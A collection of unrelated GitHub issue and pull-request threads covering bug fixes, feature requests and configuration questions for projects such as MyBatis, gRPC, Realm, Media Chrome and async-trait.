UGRID: fix wrong tag ordering

In ugrid reader order of reading the surface elements is important.

Added a test case that exposes this issue.
fixed issue and updated ugrid tests

Note: Another way to visually validate the problem and the solution is to use meshio-convert to convert any ugrid that has both quads and triangles into vtk. Without this patch surface elements are not connected properly. Applying the patch produces the expected result.
Also, I introduced a function in  test_ugrid.py (first()) to pick elements by type just for convenience. It can be removed if this is needed.

Run make format to make the linter happy.

LGTM, thanks!


Modify pymechanical logo

Description of the modifications
Slash between py and mechanical is not needed.
Useful links and references

#640  Closes the issue


Userlist gets out of sync with idle users

If someone idles too long, they don't disconnect, but their name disappears from the userlist.  (They can still talk in the chat, though.)

@panpawn what do you think is the solution to this?

We probably need an idle timer and to disconnect the user when it expires.

@TheFenderStory pruneGhostUsers? https://github.com/Zarel/Pokemon-Showdown/blob/b6656606080506d50e42493e0a81bb7cad1da161/users.js#L1605

Yeah thats probably what we are gonna need to do

Before trying to add something like that, we should try to figure out why the userlist seems to desync after a certain period of time.

Is this issue still relevant with our current build?

@TheFenderStory not sure. We'll have to wait and see if it happens on a larger userbase


Fixes warning: unused import: SpanExt

bors r+

It seems like SpanExt is used

So this seems to be a Rust's quirk. The trait is used somewhere, but Rust complains that it's not 😸


support request path prefix

Is your feature request related to a problem? Please describe.
The Issue is specific to grpc-c++.
We have two gRPC services 'A' and 'B' that implement the same proto service definition. These two service server hosts are behind the same gateway.  At the gateway, we need a way to figure out if the client gRPC request is for 'A' or 'B' and route the request to their backend service servers. Our gateways supports routing based on request's :authority or :path header.
We use cronet transport to take advantage of QUIC and other benefits from cronet. We found client fails to set authority header if cronet channel is used. From grpc source code https://github.com/grpc/grpc/blob/master/src/core/ext/transport/cronet/transport/cronet_transport.cc#L1445, looks like authority header is not supported from grpc-cronet interface.
We are wondering if gRPC-C++ can add prefix request path support to allow client to prefix original gRPC request path.  In this way, "A" and "B" requests can have different request path. Our gateway can route these requests to their own backend service hosts.
Describe the solution you'd like
Choice 1 (preferred). support set path prefix for each RPC request. ie add set path prefix api to ClientContext.
Choice 2. (if choice 1 is not doable). Support path prefix per channel or client stub. ie add set path prefix channel argument.
Describe alternatives you've considered
support set authority header from grpc - cronet transport

The fact that the path is the RPC service and method name is a pretty fundamental part of the gRPC-over-HTTP/2 protocol.  We do not want to support changing the path.
I don't actually understand why you can't do what you want via normal virtual hosting.  If the names in DNS (or whatever name service you're using) for services A and B both point to the same gateways, and you have some clients talking to A and others talking to B, shouldn't cronet automatically set the ":authority" header based on the name that the client tried to connect to?  Why do you need the ability to override the ":authority" header?
To ask that question a different way, if you can change the clients to override the ":authority" header, can't you also just change the target URI that you create the channel to?

@markdroth, thanks for the response. We will consider this option. I mostly work on client side. Based on our backend engineer's feedback, using different DNSs may cause security risks by adding wildcarded domains to clients. They will review this with our security team. Based on my understanding, the security risks is related to wildcard domain certificates and :authority header override doesn't need wildcard certs.

Okay.  I'm going to go ahead and close this, since I don't think there's anything actionable here for gRPC.  We're not going to support path prefixes, so even if your security folks don't want to take the approach I suggested, I think your next step would be to try to convince the cronet folks to support overriding the authority header.
Good luck!


adding missing README update for OTG  from PR-1335

adding missing README.md  update for OTG  folder  from PR 1335
This code is a Contribution to the OpenConfig Feature Profiles project ("Work") made under the Google Software Grant and Corporate Contributor License Agreement ("CLA") and governed by the Apache License 2.0. No other rights or licenses in or to any of Nokia's intellectual property are granted for any other purpose. This code is provided on an "as is" basis without any warranties of any kind.

/gcbrun


Document AWS lambda configuration to avoid timeouts

We should document https://github.com/prisma/prisma/issues/1754#issuecomment-601271228
Maybe in https://www.prisma.io/docs/guides/deployment/deploying-to-aws-lambda and in nexus too?
In the issue above the solution was to do this:
// Set to false to send the response right away when the callback executes, instead of waiting for the Node.js event loop to be empty.
context.callbackWaitsForEmptyEventLoop = false;

context: https://docs.aws.amazon.com/lambda/latest/dg/nodejs-context.html


Force org.apache.commons:commons-compress version to 1.26.0 or greater

... as earlier version have a security vulnerability.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.

coverage: 97.421%. remained the same
when pulling 35358b82ae66d122615c1030b2fee0897d5d083d on commons-compress
into 8ddb6ac1000d0ba5ba66cd62274aeb4be0ecd0cb on main.


apispec doesn't work when logging in with ui

Issue with url: http://localhost/api/swagger.json
Logs:
apispec_1           | invalid request block size: 5225 (max 4096)...skip
apispec_1           | [uwsgi-http key: localhost client_addr: <IP_ADDRESS> client_port: 58040] hr_instance_read(): Connection reset by peer [plugins/http/http.c line 646]

Probable cause: server rejects the request headers due to size with cookies set by ui after login.
Reproducing:

Log in to http://localhost/ui/
Try to load http://localhost/admin/swagger/ -> fails

The /ui should set Path for cookies.

Ok, will push a fix in renga-ui

Pushed issue to https://github.com/SwissDataScienceCenter/renga-ui/issues/33

Solved by SwissDataScienceCenter/renga-ui#33.
Manually clearing localhost cookies from browser might required.


/tmp failed to start llama runner because of security policy

I'm doing a proof-of-concept on RHEL and the issue is that our policy forbids running executables in /tmp so I am getting the failed to start llama runner message when doing an ollama run mistral.
Was wondering if the fix described in other /tmp issues provides a work around?
Thanks!

This should no longer be an issue as of v0.1.18 which removes the temporary executables


Pulling rework

Fixing up the FOUR systems managing pulling, all the shitcode, and also making it nicer ingame.
Mostly done but needs https://github.com/space-wizards/space-station-14/pull/20915 really bad and also throwingsystem probably needs tweaking.
:cl:

tweak: Moving entities that are pulled now throws them instead of moving them manually.

People really be thumbs downing a 4 month old pr lol.

nah they are time travellers they knew it was gonna have bugs


Declare compatibility with Ubuntu 20.04

... or do you see any reason why it should not work 😉 ?

No reason that I know.


Update build.sbt to rabbitmq version 3.6.1

Hi,
I noticed the scala2.11 branch the pom.xml uses the latest version of rabbitmq. Can we also update the build.sbt or are there some reservations about doing so?
Thank you.
Bryce

Hi,
Sorry for not replying earlier. I don't really mind, but I will remove the sbt build soon (before I release 1.6) so it won't be there for long. It's a simple build so I guess that people will be able to easily create their own if they need to.
Thanks!

👍  Thank you for letting me know built.sbt will eventually be removed


How to port ACL library to android hal?

Hi Sir:
I have build arm_compute_core-static.a, libarm_compute-static.a libraries. And porting them to android os.
But when i use acl api in the android hal, there are some std undefined reference errors. It maybe that acl need gnustl lib, but android os has no the link library.

Hi,
If you're going to link the Compute Library statically then you need to build it from inside your Android tree using the same toolchain as your other libraries.
You could also just use it as a shared library (The documentation recommends linking statically on Android because of a bug in old versions of the Mali driver, but if you've got a fairly recent version of the driver this shouldn't be an issue)


Add rendering tests

[ ] Signal slicing, remove space between identifier and square-brace.
[ ] Signal mappend tests

Nevermind about spacing wrt to slicing, needs the space between identifier and braces.


Client: Support conditional monitoring

Today the WithConditionalTable interface exists for condition monitor
but it doesn't really work.
This patches fix the interface WithConditionalTable to support multiple
conditions, properly convert the model.Condition to ovsdb.Condition, and
apply the conditions in client.monitor implementation.
Signed-off-by: Han Zhou<EMAIL_ADDRESS>

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

38 of 44 (86.36%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 75.287%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

client/client.go
11
13
84.62%

client/monitor.go
27
31
87.1%

Totals

Change from base Build<PHONE_NUMBER>:
0.2%

Covered Lines:
5045

Relevant Lines:
6701

💛  - Coveralls

@flavio-fernandes

I think this LGTM, but @jcaamano should take a look too

/assign @jcaamano

LGTM
@hzhou8 BTW this should be reasonably easy to implement for the server; and the update refactor might make it actually reasonable from the performance standpoint as well.


Add no_std support to structure

This is a draft PR that adds no_std support to the crate, thereby enabling embedded hardware to use the crate
It is a collaborative effort with @birkenfeld and @shymega (I), and so the discussion will be moved here.
I had made a grave error in originally opening a PR for this, in that I opened it here - https://github.com/Cosmo-CoDiOS/structure/pull/2 - a mistake on my part.
Hopefully, this can now be reviewed.

Great!
I’m quite busy these days, I hope I’ll find time this week to review this PR.

Thanks. It doesn't pass tests quite yet when you use core2 in the macro, I haven't committed those. Should have mentioned it. It still needs work.

Ah, ok.
Do you prefer some feedback now or should I wait?

Some feedback now would be good. The problem with adding core2 in the macro is that it breaks all tests. I suspect I'm doing it wrong.

Hey @liranringel, sorry to prod again, but I'm stuck with the PR so far, and need some feedback on its current state. Thanks!

@shymega it's looking good.
For now, you just upgraded quote and moved from proc-macro-hack to proc-macro2 which is great!
Do you want to merge these changes now, and make further changes later?

Well, it's not complete yet. It doesn't run on no_std, because the macro itself still uses std. I need some help figuring out the macro. Can you help?

@shymega I'm sorry I don't have much time these days...

No worries. Been working on it some more. @birkenfeld I've pushed with my latest change, do you have a moment to look through? I'm new to macros with Rust, I barely use them, so I'm blindly coding. Thanks! Specifically, this commit: e0e4c81
I'm also going to squash all these commits into one once tests pass and it works on no_std.

Hi @liranringel, I've fixed the commits, so this should merge nicely. I would be grateful if you could review my work, as I'm not certain it's clean. But I hope it works.

Thank you @shymega!
While I'm a bit busy these days, I'll try to review your changes as soon as I can.

@liranringel Thanks. Shall we see if @birkenfeld has any thoughts on it too?

I promise I'll have a look next week.

Yeah, byteorder's WriteBytesExt and ReadBytesExt are not defined on no_std (in hindsight, makes sense, since they use std::io too).

@birkenfeld Sorry, family stuff got hold of me. I'm just thinking of the best way to handle these edge cases. We could open an issue with byteorder and request for no_std support.

I've just enquired about the byteorder crate repository. Whilst my newer firmware doesn't need to pack data for serial, the older firmware is still heavily reliant on a similar approach to Python's struct.
I will keep this PR updated.

The comment was replied to, it's an interesting problem. We can use u64::to_le_bytes in std, but I suppose the question is, can we do that in no_std? Do we want to reimplement {Read,Write}BytesExt in the structure crate?
I'm also wondering if it's just "easier":tm: to implement the packing methods into the firmware transfer protocol on my end, and close this PR...

Just wanted to follow this up with both of you (and anyone else watching). I think the easiest solution is just to copy io.rs from byteorder and modify it to use the byteorder crate for the ByteOrder trait exposed by that crate, plus core and core2, depending on the feature flag.
OR we could implement the *Ext traits in structure, and do it that way.
The simplest solution is usually the easiest one, but I'm conscious of licensing, and making sure we don't end up with spaghetti code.

OK, so tests now pass on std. I need to squash the remaining commits when ready, but we're just left with byteorder not working without std.
I'm lost with the proc-macro - I haven't really dipped my toes in macros before, so it's very much new to me. I think the main change we need to make for this PR to be merged is to use to_le_bytes() and such from core when std isn't enabled, and vice versa.
Keen to get this PR in. It would mean I could then communicate over UART on a  no-std environment.

@liranringel:

@shymega sorry for not being here for a long time. What is the PR status? Is it ready for review?

So, currently, it works with the std feature flag.
I did attempt to copy the ByteorderExt traits into the PR, and make them work with core2. However, the proc-macro didn't like it.
I'm not sure how to proceed, and it would be great to get external thoughts on the PR as it is now.

@shymega sorry for not being here for a long time. What is the PR status? Is it ready for review?

Hey @liranringel - were you able to look into the macro?
No rush :-)


Add JSON-P TCK module

Fixes #5
To run, you can use mvn verify -P tck -pl tck
For now, it is needed to run the TCK with JDK 8 to pass the signature test.

@Thihup
Thank you a lot.
I do not know why but in my environment there found 6 failures in the TCK. :sweat_smile:

@Thihup
Thank you a lot.
I do not know why but in my environment there found 6 failures in the TCK. :sweat_smile:

The 5 issues are actually "issues". The last one is the signature test. It will only pass by now if you use JDK 8 to run it.
It is the last test in the list.

The 5 issues are actually "issues". The last one is the signature test. It will only pass by now if you use JDK 8 to run it.
It is the last test in the list.

Let me explain it more clearly:
The signature tests verify if the API is correct, with all the required classes.
It uses both static and runtime analysis.
As we are using the API from Jakarta it is already correct. However, the JDK itself changed some classes (have added some interfaces to Enum, have changed the @Deprecated annotation, etc) and it makes it fail the runtime test.
For now, the best way is to run with JDK 8 to pass the signature test. There is support for running with JDK 11 but needs to change a little bit to use the ts.jte.jdk11 instead of the ts.jte.

Let me explain it more clearly:
The signature tests verify if the API is correct, with all the required classes.
It uses both static and runtime analysis.
As we are using the API from Jakarta it is already correct. However, the JDK itself changed some classes (have added some interfaces to Enum, have changed the @Deprecated annotation, etc) and it makes it fail the runtime test.
For now, the best way is to run with JDK 8 to pass the signature test. There is support for running with JDK 11 but needs to change a little bit to use the ts.jte.jdk11 instead of the ts.jte.

@Thihup
As you told me, I got correct test results when running the TCK with JDK 8.
You are awesome.

@Thihup
As you told me, I got correct test results when running the TCK with JDK 8.
You are awesome.


Casting from cell value to other types

I'm trying to save the values read from a CSV to local variables.
I managed to do that for string variables, but for int/double/etc... it seems kind of tricky. Is there some functionality inside the library that already does it without having to cast the value directly during the reading ?

Ok I'm trying it out right now, but actually the std of the project I'm working on must be 17.
Furthermore I get seg fault 11 if I try out your code. But I get the reasoning behind it, I'll give it a try myself. Thank you


CSP violation, requires style-src: 'unsafe-inline'

This module adds a whole bunch of inline CSS, which is really bad because it violates Content Security Policy in certain sites which do not allow inline styles.
Could the CSS be provided separately, or is there another way to supply CSS without relying on inline CSS?
Enabling unsafe-inline is not recommended (security-wise, we should be against doing so), because it opens the site Cross-Site Scripting attacks (XSS).

Hey @ADTC thanks for engagement and interest in Media Chrome! I just want to make sure we're separating out two different considerations:

Folks who have particular CSP setups not being able to use Media Chrome because of those setups
Legitimate security concerns/attack vectors that are introduced specifically because of Media Chrome's use of inline styles.

I can see the pain/friction with (1), since making arguments/exceptions/updates to CSP setups can be onerous, and any changes should be taken responsibly (i.e. not opening oneself up to attack vectors). We will try to look into this for sure.
I'm having trouble seeing where (2) applies though, at least if you're taking advantage of things like https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src to avoid XSS. More broadly speaking, if folks are in a position to inject malicious scripts into our CSS use cases, it seems like there would be a larger security issue at play here? Maybe I'm missing something? Can you walk me through a concrete scenario where

someone can exploit Media Chrome's use of inline styles for malicious purposes
the scenario doesn't also entail more far-reaching security risks/attack vectors.

While I certainly have some familiarity with security, I'm by no means an expert, so it's 💯 possible I'm missing something here, so this is definitely not meant to be a dismissal of your callout.

Just to add some additional context to the conversation, it looks like this will unfortunately be a general issue with certain CSP setups and web components. Some conversations (starting in 2017 🤯):

https://github.com/WICG/webcomponents/issues/627
https://github.com/google/WebFundamentals/issues/8817 (linked from first)
https://github.com/justinribeiro/lite-youtube/issues/52 (linked from first)

Unfortunately I do not have a solid answer for you. I was basing this on the general knowledge that some CSP setups disallow anything inline, and such setups couldn't use Media Chrome. I believe my suggestion is an alternative version of Media Chrome which do not use inline styles but provides CSS as a separate file delivered by a CDN like JsDeliver.

Yeah, per the conversations linked above, this will be fairly bad practice for web component implementation (separate from CSP setups), as it introduces a remotely loaded dependency for web components. We can certainly discuss this as a team to see if there are any alternative approaches here, but from what I can tell from the bit of digging I did, this may be the reality of working with pretty much any standard web component library.

The last answer in the lite-youtube issues seems like a workable solution.
Usage of strict-dynamic and adding a nonce to the script that loads media-chrome...
Content-Security-Policy: script-src 'strict-dynamic' 'sha256-base64EncodedHash'

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic


How to add validation to refile within a rails app?

I read the documentation for adding validation with refile, but I'm still able to upload files other than what I specified in my model.
Here is a more descriptive explanation of my problem, http://stackoverflow.com/questions/33190587/

I figured out what the problem was, so I will go ahead a close this issue.


DefaultSqlSession doesn't ROLLBACK on close after SELECT

I've been reading the code of DefaultSqlSession and I believe that transactions are not correctly closed when close() is called. The current behaviour is that rollback is submitted only for INSERT/UPDATE/DELETE statements, but not SELECT. Because there is no rollback, the same transaction continues and multiple logical operations may be called in the same transaction, with unpredictable side-effects. For example, a SELECT... FOR UPDATE could create a lock that is not released. Advisory locks wouldn't be released.
The correct behaviour is to ROLLBACK is any one query, including SELECTs.
EDIT The same problem exists with calling close() and rollback(). In our case, we always force commits and rollbacks, but there's no such option for the close operation.
MyBatis version
3.5.7
Database vendor and version
Possibly all, but I have Postgres in mind.
Test case or example project
None.
Steps to reproduce
With connection pooling configured, create a session object, submit some SELECT queries, then close the session without committing or rolling back.
Expected result
Closing SQL session will ROLLBACK the connection.
Actual result
There is no ROLLBACK. Transaction remains active in idle state until the connection is reused.

For a quick backward-compatible fix, would you add a new method DefaultSqlSession#close(boolean force) to force a rollback?

Hello @ivanr ,
I could be wrong, but this seems to be an issue that should be taken care of by the connection pool.
Did you verify this with an actual connection pool implementation?
If yes, which one?

should be taken care of by the connection pool.
indeed!!

The connection pool provided by MyBatis rollback real connection at before returning it into pool.
Other major OSS connection pool implementations rollback a real connection at before returning it by default behavior.

HikariCP

Tomcat DBCP

Commons DBCP2

@harawata I have so far only looked at the logic in DefaultSqlSession. I will do another check, this time with a connection pool. It may take me some time to respond because of the upcoming holidays, but I will get back to you. Thank you.

Reading your comments on https://github.com/mybatis/mybatis-3/issues/2156#issuecomment-1131785274 , I think your issue may also be resolved by #2741 .
SELECT... FOR UPDATE is not the exact target of the change and, as we explained, the transaction will be closed by the connection pool if you used one.
Still, there might be cases where the new affectData comes in handy.
Please let me know if you think it's a different issue.

@harawata Thank you. With affectData it will be possible to write mappers that behave correctly.
Prompted by this comment I went back to test the exact behaviour and—you were right—the connection pool will end the transaction when close is called. However, it appears to do so with a COMMIT, which came to me as a surprise. This is probably what the others have observed. Should that be a ROLLBACK instead?
Regarding MyBatis's tracking of "dirty" transactions and having to explicitly force commits, etc, what's the rationale behind it. Is it documented anywhere? I think it would be easier for everyone if commit and rollback were just that, and if a rollback were used before a connection is returned to a pool.

Hello @ivanr ,
MyBatis does not explicitly call commit() on close.
If the transaction is committed on close, you probably are using "JDBC" transaction manager.
Here is an excerpt from the doc:

By default, it enables auto-commit when closing the connection for compatibility with some drivers.

And some drivers (including pgjdbc) internally commit the transaction when setAutoCommit(true) is called.
This may explain the behavior you observe.
Please see the doc for how to change the default behavior.
We couldn't change the default value to keep backward compatibility, but the non-default setting might work better for most DBs, I suspect.

I don't know why commit() and rollback() require force option when the session is not 'dirty' (because "it's not necessary", maybe?), but it's documented.

By default MyBatis does not actually commit unless it detects that the database has been changed by a call to insert, update or delete. If you've somehow made changes without calling these methods, then you can pass true into the commit and rollback methods to guarantee that they will be committed (note, you still can't force a session in auto-commit mode, or one that is using an external transaction manager). Most of the time you won't have to call rollback(), as MyBatis will do that for you if you don't call commit. However, if you need more fine-grained control over a session where multiple commits and rollbacks are possible, you have the rollback option there to make that possible.

(In #2741, I added "select with affectData enabled" to the list of actions)
p.s.
The tcm in CachingExecutor is TransactionalCacheManager which manages MyBatis' cache transaction, not the database transaction.
The 'dirty' flag is used to track cache status as well.

@harawata Yes, you're right about that. I actually had skipSetAutoCommitOnClose in my configuration when I was testing for my earlier comment, but I was running MyBatis 3.5.2, which of course doesn't have support for that. After upgrading to 3.5.11 I now see a rollback in the logs on connection close.


KERN_INVALID_ACCESS in RLMObservation

Goals
Get an object by primary key, but only in some very specific situation (more info below).
Expected Results
Get object or nil, which normally happens.
Actual Results
Crashed: com.apple.main-thread
0  Realm                          0x18b8518 RLMObservationInfo::~RLMObservationInfo() (RLMObservation.mm:67)
1  Realm                          0x18a4097 -[RLMListBase .cxx_destruct] (memory:2397)
2  Realm                          0x18a4097 -[RLMListBase .cxx_destruct] (memory:2397)
3  libobjc.A.dylib                0x1c256053 object_cxxDestructFromClass(objc_object*, objc_class*) + 116
4  libobjc.A.dylib                0x1c2616ad objc_destructInstance + 34
5  libobjc.A.dylib                0x1c2616cd object_dispose + 14
6  RealmSwift                     0x1eb680c List.__deallocating_deinit (List.swift:54)
7  libswiftCore.dylib             0x27c3e4f _swift_release_dealloc + 18
8  MyApp                          0x1a54cc MyTableCell.edit() (MyObjectDataService.swift:49)
9  MyApp                          0x1a7218 partial apply (MyTableCell.swift)
10 MyApp                          0x99dd8 @objc UIButton.closureAction() (UIButton+Closure.swift:71)
11 UIKit                          0x222363b5 -[UIApplication sendAction:to:from:forEvent:] + 76
12 Instabug                       0x113202b -[IBGMethodSwizzler sendAction:to:from:forEvent:] (IBGMethodSwizzler.m:112)
13 UIKit                          0x22236349 -[UIControl sendAction:to:forEvent:] + 62
14 UIKit                          0x22220979 -[UIControl _sendActionsForEvents:withEvent:] + 478
15 UIKit                          0x22235c85 -[UIControl touchesEnded:withEvent:] + 604
16 UIKit                          0x222357cf -[UIWindow _sendTouchesForEvent:] + 2094
17 UIKit                          0x2223070f -[UIWindow sendEvent:] + 2798
18 UIKit                          0x222022bb -[UIApplication sendEvent:] + 308
19 Instabug                       0x113226b -[IBGMethodSwizzler sendEvent:] (IBGMethodSwizzler.m:156)
20 UIKit                          0x229957f7 __dispatchPreprocessedEventFromEventQueue + 2254
21 UIKit                          0x2299019b __handleEventQueue + 4186
22 UIKit                          0x2299057d __handleHIDEventFetcherDrain + 144
23 CoreFoundation                 0x1cf8bfdd __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 12
24 CoreFoundation                 0x1cf8bb05 __CFRunLoopDoSources0 + 424
25 CoreFoundation                 0x1cf89f51 __CFRunLoopRun + 1160
26 CoreFoundation                 0x1cedd1af CFRunLoopRunSpecific + 470
27 CoreFoundation                 0x1cedcfd1 CFRunLoopRunInMode + 104
28 GraphicsServices               0x1e687b41 GSEventRunModal + 80
29 UIKit                          0x22265a53 UIApplicationMain + 150
30 MyApp                          0x59c68 main (AppDelegate.swift:21)
31 libdyld.dylib                  0x1c6ca4eb start + 2

The MyTableCell calls into MyObjectDataService, which is running a simple realm.object(ofType: MyObject.self, forPrimaryKey: primaryKey). This call is successful other times in the app.
Steps to Reproduce
I wish I had more, but this is the most debug info I have. 😕 I'm unable to replicate this on any simulator or device I have access to.
It does look like this crash only occurs at this one point, not with any other Realm queries, even of the same data type and with the same MyObjectDataService call.
Version of Realm and Tooling
ProductName:	Mac OS X
ProductVersion:	10.13.1
BuildVersion:	17B1003

/Applications/Xcode.app/Contents/Developer
Xcode 9.2
Build version 9C40b

/usr/local/bin/pod
1.3.1
Realm (2.10.0)
RealmSwift (2.10.0)
RealmSwift (~> 2.0)

/bin/bash
GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin17)

(not in use here)

/usr/local/bin/git
git version 2.4.3

The app supports iOS 10+, and crashes have come from iOS 10 & 11.

Hey @mrh-is , is this still relevant? It is over 3 years old 😅 . If so, can you provide a bit more context/sample code?

Hey @mrh-is , is this still relevant? It is over 3 years old 😅 . If so, can you provide a bit more context/sample code?

Probably ought to close this one, I haven't been working with Realm lately so it can wait for someone else to find this (if it even still happens). 👍🏻

Probably ought to close this one, I haven't been working with Realm lately so it can wait for someone else to find this (if it even still happens). 👍🏻


Reorganize directory structure to make Zulip tornado service its own app

Now that the Zulip Tornado service is mostly independent of the rest of the Zulip Django system, it should be possible to split it out as its own directory tree.  Doing so will be helpful as we split it into multiple services and make the codebase easier to navigate.

The plan is to move this to zerver/tornado for now; it doesn't really need to be its own Django app, but it's nice to have a well-organized subdirectory for the Tornado server code.


TO:0020083 stem diameter and length

http://browser.planteome.org/amigo/term/TO:0020083
Please correct ASAP the placement of stem length and width. They show up wrong in this diagram
http://browser.planteome.org/visualize?inline=false&term_data=TO%3A0020083&format=png&mode=amigo&term_data_type=string

These odd relationships are being inferred by reasoner and actually coming from PATO.  For example, in the TO, stem diameter and length (and width) have asserted relation "is_a stem morphology trait".  The relation "stem diameter subclass of stem length" is inferred since in PATO "diameter subclass of length" and length subclass of size. I added the asserted relation "and "part of stem size" to all three to help resolve the tree.  Also, will request fixed in PATO.


Automated cherry pick of #7829

Cherry pick of #7829 on release-5.34.
/cc  @nevyangelova

Will try to auto merge this PR once all tests and checks are passing. This might take up to an hour.

Trying to auto merge this PR.

Pull Request successfully merged
SHA: e8bd9a228f4c9bb87bb162ddc6624b2bf7178e7d


fix(types): fix missing dsn option

Extends NodeOptions interface from Sentry SDK to restore SDK options in the plugin.
Fixes #615

:tada: This PR is included in version 7.0.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


[Enhancement] JWT Authentication

I have decided to not do this, as it would be insecure and not a very good idea. I'm going to stick with token-based authentication and the expiry worker. I'll work on making it possible to revoke tokens from the UI.


SSD1306_Clear Causes SSD1306_Update to draw 8 Horizontal Lines

I've tried using two separate 128x64/0.96" SSD1306 OLED displays and both yield the same result.
I'm using ESP-IDF v4.0 and HelloWorld tarablessd1306_examples component. Any ideas what's  causing this? When SSD1306_Clear is not called, the lines aren't drawn, but clearing and then updating draws these 8 unwanted horizontal lines.
None of the SSD1306_DrawLine functions are being called.

I'll look into this when I can today or tomorrow but an immediate change you can test is changing SSD1306_I2C_COMMAND_MODE in default_if_i2c.c from 0x80 to 0 since that is very wrong.

I'll look into this when I can today or tomorrow but an immediate change you can test is changing SSD1306_I2C_COMMAND_MODE in default_if_i2c.c from 0x80 to 0 since that is very wrong.

Well that did the trick! Thanks


Fix links to {code} Community and #project-rexray Slack

Add a direct link to #project-rexray in slack.
Fixes #1222

Codecov Report

Merging #1223 into master will increase coverage by 0.38%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1223      +/-   ##
==========================================
+ Coverage    34.2%   34.58%   +0.38%
==========================================
  Files          36       36
  Lines        2362     2362
==========================================
+ Hits          808      817       +9
+ Misses       1451     1441      -10
- Partials      103      104       +1

Impacted Files
Coverage Δ

libstorage/api/types/types_localdevices.go
85.96% <0%> (+1.75%)
:arrow_up:

...storage/drivers/storage/vfs/storage/vfs_storage.go
42.15% <0%> (+2.61%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d2912d3...17151a0. Read the comment docs.


DM punch confirmations

Ibizan's clock-in confirmation (adding a dog emoji to your post) is great. For larger organizations, however, punches quickly get lost and mixed in with the rest of the team's.
Perhaps each time a user clocks in/out, Ibizan could DM them a punch confirmation as well? In this way you could go straight to your Ibizan DMs to check your recent in/out records, without having to dig around in the team channel(s) trying to find your last punch.
The main downside is that users can't (currently) disable notifications from individual users, so for people like me who obsessively clear their notifications, that could get kind of annoying. HMM...

Absolutely. The tech for this is already in and I can add this without much issue.

Fixed in e24ba70

Can you update the punch-out text to something like this?
Punched out (8.25 hours)


Elided lifetimes clippy error appeared between 0.1.31 and 0.1.35

I have a Cargo.lock file which has async-trait locked to version 0.1.31 but it's not committed. When I run clippy, I get no error. If I remove that lock file and run clippy again, cargo downloads 0.1.35 and I get an error about needless explicit lifetimes.
Trait
#[async_trait::async_trait]
pub trait Loader {
    async fn load(&self, key: &str) -> Result<String>;
}

Implementation
#[async_trait::async_trait]
impl crate::Loader for AwsEc2MetadataLoader<'_> {
    async fn load(&self, key: &str) -> Result<String> {
        get_metadata_value(self.metadata_url, key).await
    }
}

Clippy error:
$ cargo clippy -- -D warnings
...
error: explicit lifetimes given in parameter types where they could be elided (or replaced with `'_` if needed by type declaration)
  --> src/loader/awsec2metadata.rs:58:5
   |
58 |     async fn load(&self, key: &str) -> Result<String> {
   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   |
   = note: `-D clippy::needless-lifetimes` implied by `-D warnings`
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#needless_lifetimes
...

If I change the method signature in the implementation to the following, the error goes away. From the README, it seems like this shouldn't be necessary?
    async fn load(&self, key: &'_ str) -> Result<String> {

OK, I set the version to =0.1.34 and rerun clippy and the error isn't there so it must be in the latest release.
I have also just updated to rust 1.44.1 but it's still happening so I'm assuming it isn't related to https://github.com/rust-lang/rust-clippy/issues/5356

